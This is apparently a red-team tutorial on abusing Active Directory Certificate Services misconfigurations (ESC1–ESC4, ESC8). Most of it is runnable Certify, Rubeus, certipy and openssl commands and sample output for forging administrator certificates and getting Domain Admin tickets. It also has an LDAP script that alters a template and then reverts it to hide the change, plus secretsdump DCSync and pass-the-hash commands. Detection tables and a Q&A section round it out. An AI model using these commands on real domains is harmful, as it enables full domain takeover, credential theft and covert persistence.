ADCS Abuse — ESC1 through ESC8
Exploiting Active Directory Certificate Services misconfigurations: Subject Alternative Name injection, template ACL abuse, enrollment agent delegation, and NTLM relay to CA enrollment for persistent domain access via certificates
The organization uses Active Directory Certificate Services (ADCS) for internal PKI — issuing certificates for code signing, VPN auth, and smart card login. ADCS is configured with the default templates that Microsoft ships, plus several custom templates added over the years. One custom template (used by a web app team four years ago) allows low-privilege users to specify a Subject Alternative Name (SAN) and has the "Client Authentication" EKU. You enroll in this template, specify "Administrator" as the SAN, and receive a certificate that proves you are Administrator. You use PKINIT to get a Domain Admin TGT. This is ESC1, and it's in thousands of enterprise environments right now.
ADCS Architecture — PKI in Active Directory
ESC1 — Subject Alternative Name Injection
A template is vulnerable to ESC1 when: (1) CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set, (2) the template has a Client Authentication EKU (or Smart Card Logon, PKINIT Client Auth), and (3) low-privilege users have Enroll or AutoEnroll rights. The requestor can specify any SAN, including any username, and the CA issues a certificate for that identity.
# ESC1 exploitation with Certify + Rubeus
# Step 1: Find vulnerable templates
Certify.exe find /vulnerable
# Output identifies templates like:
# Template: VulnUserTemplate
# msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
# msPKI-Enrollment-Flag: INCLUDE_SYMMETRIC_ALGORITHMS
# pKIExtendedKeyUsage: Client Authentication
# Enrollment Permissions:
# Enrollment Rights: Domain Users
# Step 2: Request certificate with SAN = target account
Certify.exe request /ca:CA01.corp.local\corp-CA \
/template:VulnUserTemplate \
/altname:Administrator
# Output: certificate.pem (cert + private key in PEM format)
# Step 3: Convert PEM to PFX
openssl pkcs12 -in certificate.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
-export -out administrator.pfx -password pass:''
# Step 4: Use certificate to get TGT via PKINIT
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /password:'' \
/domain:corp.local /dc:dc01.corp.local /nowrap
# Output: TGT as base64 .kirbi
# Inject: Rubeus ptt /ticket:<base64_ticket>
# Step 5: Extract NT hash (optional — allows PtH without certificate)
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /password:'' \
/getcredentials /domain:corp.local
ESC2 — Any Purpose or No EKU Templates
A template with the "Any Purpose" EKU (2.5.29.37.0) or no EKU at all allows the certificate to be used for any authentication purpose. This is subtly different from ESC1 — the SAN may not be attacker-controlled, but the overly broad EKU means a certificate for any identity can be used for client authentication via PKINIT, even if the template was intended only for a non-auth purpose like document signing:
# ESC2: Template has Any Purpose EKU and Enroll rights for Domain Users
Certify.exe find /vulnerable
# Look for: pKIExtendedKeyUsage contains "Any Purpose" or is empty
# If the template also allows SAN → same as ESC1 + Any Purpose
# If no SAN control but template is for ALL users → certificate proves "this domain user"
# The SAN in the issued cert = the requesting user's UPN
# Only useful to get TGTs for accounts you can already authenticate as
# → Lower impact than ESC1, but still misuse of intended purpose
ESC3 — Enrollment Agent Certificate Abuse
An Enrollment Agent certificate allows its holder to request certificates on behalf of other users. If Domain Users can enroll in an "Enrollment Agent" template, then enroll on behalf of any other user in a second "User Enrollment" template:
# ESC3 — two-step enrollment agent abuse
# Step 1: Enroll in the enrollment agent template
# The template has EKU: Certificate Request Agent (1.3.6.1.4.1.311.20.2.1)
Certify.exe request /ca:CA01\corp-CA /template:EnrollmentAgentTemplate
# Step 2: Use enrollment agent certificate to request cert on behalf of Administrator
Certify.exe request /ca:CA01\corp-CA \
/template:User \
/onbehalfof:corp\Administrator \
/enrollcert:enrollment_agent.pfx \
/enrollcertpw:''
# Now you have a certificate for Administrator
# Use PKINIT to get DA TGT (same as ESC1 final steps)
ESC4 — Template ACL Misconfiguration (Write Access)
If a low-privilege user has Write, GenericWrite, or WriteProperty on a certificate template's ACL, they can modify the template to become vulnerable (add Client Auth EKU, enable SAN, grant themselves Enroll). ESC4 turns an innocuous template into ESC1:
#!/usr/bin/env python3
# Modify a certificate template via LDAP to enable ESC1 conditions
import ldap3
# Connect (as compromised user with WriteProperty on the template)
server = ldap3.Server('dc01.corp.local', port=636, use_ssl=True)
conn = ldap3.Connection(server, user='corp\\compromised_user', password='Password!')
conn.bind()
template_dn = 'CN=CorpUser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local'
# Modify msPKI-Certificate-Name-Flag to enable ENROLLEE_SUPPLIES_SUBJECT (0x1)
conn.modify(template_dn, {
'msPKI-Certificate-Name-Flag': [(ldap3.MODIFY_REPLACE, [1])]
})
print(f'Template modification: {conn.result}')
# Grant Domain Users Enroll rights on the template (write the DACL)
# (requires WriteOwner or WriteDACL on the template object)
# Use SharpADWS / dsacls / PowerShell Set-Acl for the DACL modification
# After modification: exploit as ESC1
# Certify.exe request /ca:... /template:CorpUser /altname:Administrator
# CLEANUP: restore original flag after exploitation to hide the modification
conn.modify(template_dn, {
'msPKI-Certificate-Name-Flag': [(ldap3.MODIFY_REPLACE, [0])]
})
ESC8 — NTLM Relay to HTTP CA Enrollment
ADCS web enrollment (http://ca/certsrv/) accepts NTLM authentication and does not require channel binding by default. Combined with a forced authentication trigger (PetitPotam, PrinterBug, etc.), you can relay a DC's NTLM authentication to ADCS and get a certificate for the DC — then use PKINIT to get the DC's TGT and DCSync:
Enumeration — Finding Vulnerable Templates
# Certify — .NET tool for ADCS enumeration (from Will Schroeder)
Certify.exe find # enumerate all templates
Certify.exe find /vulnerable # only vulnerable templates
Certify.exe find /ca # enumerate CAs in the environment
Certify.exe find /clientauth # templates with Client Auth EKU
# Certipy (Python, works from Linux)
certipy find -u user@corp.local -p Password! -dc-ip 10.10.10.1
certipy find -u user@corp.local -p Password! -dc-ip 10.10.10.1 -vulnerable -stdout
# LDAP manual check for ESC1 templates:
# Filter: msPKI-Certificate-Name-Flag & 0x1 = 1 (ENROLLEE_SUPPLIES_SUBJECT)
ldapsearch -H ldaps://dc01.corp.local -D user@corp.local -w Password! \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1)" \
sAMAccountName msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
# Key template attributes to check:
# msPKI-Certificate-Name-Flag: 0x1 = ENROLLEE_SUPPLIES_SUBJECT (ESC1)
# msPKI-RA-Signature: 0 = no enrollment agent required (ESC3 if EKU is RA)
# pkiExtendedKeyUsage: list of EKU OIDs
# nTSecurityDescriptor: who has Enroll, AutoEnroll, WriteProperty
PKINIT — Using Certificates to Get TGTs
# Certipy — ESC1 in one command
certipy req -u user@corp.local -p Password! \
-ca corp-CA -template VulnTemplate \
-upn Administrator@corp.local \
-dc-ip 10.10.10.1
# Output: administrator.pfx
# Get TGT from certificate (PKINIT)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# Output:
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
# Use ccache ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass dc01.corp.local
# Or use the NT hash directly with Pass-the-Hash
wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 Administrator@dc01.corp.local
Certificate-Based Persistence
| Persistence Type | Mechanism | Duration | Password Reset Survives? |
|---|---|---|---|
| User certificate (ESC1) | Certificate for DA account, valid 1-2 years per template | Until certificate expires or is revoked | Yes — certificate is independent of password |
| Machine certificate | Certificate for a computer account | 1-2 years typically | N/A (machine accounts don't have human passwords) |
| Own CA certificate | If you compromise the CA itself — sign your own certs | Indefinite (until CA root is untrusted) | Yes — completely independent |
| Golden Cert (forged via CA key) | Export CA private key, sign arbitrary certs offline | Until CA is rotated (almost never) | Yes — completely independent |
If defenders revoke an attacker's certificate, the revocation only works if the KDC checks the Certificate Revocation List (CRL) or OCSP for PKINIT. Many environments do not strictly enforce CRL checking for Kerberos. If CRL checking is disabled or the CRL is unavailable, a revoked certificate continues to authenticate successfully. When responding to an ADCS compromise, ensure CRL checking is enforced AND the CRL is published and accessible, or the revocation action is ineffective.
Detection
| Signal | Source | Notes |
|---|---|---|
| Certificate issued with SAN not matching the requesting account (Event 4886/4887) | CA Security Log | 4886 = cert requested, 4887 = cert issued — check if SubjectAltName ≠ requester's UPN |
| Low-privilege account requesting certificate against privileged templates | CA Security Log (4886) | Certify / certipy are identifiable by request patterns |
| msPKI-Certificate-Name-Flag modification on a template object (5136) | AD audit (5136) | ESC4 — template modification; very low volume of legitimate changes to this attribute |
| PKINIT TGT request (Kerberos AS-REQ with PA-PK-AS-REQ preauthentication) | DC Security Log (4768) | Certificate authentication shows as logon type "Certificate" — unusual for accounts that normally use password |
| NTLM relay to certsrv/certfnsh.asp | ADCS IIS logs | ESC8 — NT AUTHORITY\ANONYMOUS or unexpected source IP authenticating to web enrollment |
Q&A
How does the CA "verify" that ESC1 SAN requests are legitimate? Why doesn't it check?
In a standard Enterprise CA configuration, when CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set on a template, the CA is explicitly designed to trust the requestor to provide the correct identity. The template flag is essentially a configuration statement that says "this template allows requestors to specify their own identity." The CA does not independently verify that the SAN in the certificate request matches the authenticated identity making the request. The authentication step (proving who you are with your current credentials) and the certificate content step (claiming who you want the certificate to assert) are decoupled — by design — when this flag is set. This flag exists for legitimate use cases: multi-SAN certificates for load balancers, web servers needing certificates for multiple hostnames, or enrollment on behalf of other users by administrators. Microsoft has since flagged this as a high-risk configuration and the Active Directory Certificate Services health check tools warn about it. The root cause is that organizations enabled this flag for a legitimate one-time use case and never restricted it back to a narrow set of authorized requestors.
What is a "Golden Certificate" and how does it differ from a Golden Ticket?
A Golden Ticket requires the krbtgt hash to forge. A Golden Certificate requires the CA's private key. If an attacker compromises the Certificate Authority — gaining access to the CA server's file system or HSM — they can export the CA's private key (from the Windows Certificate Store or from a non-HSM-backed CA). With this key, they can sign any certificate offline, for any identity, with any validity period, with any EKUs. This certificate is accepted by all systems that trust the CA, forever, until the CA itself is decommissioned and its root certificate is removed from all trust stores. Revoking a Golden Certificate doesn't work unless you also revoke the CA certificate itself — which is a massive enterprise-wide disruption. Recovering from a CA key compromise requires issuing a new CA, distributing the new root to all machines, and revoking the old CA's certificate. This typically takes days to weeks in large enterprises and is often considered more severe than a krbtgt compromise. Mimikatz's crypto::capi and crypto::cng modules can export non-exportable CA keys from the Windows certificate store when running as SYSTEM on the CA server.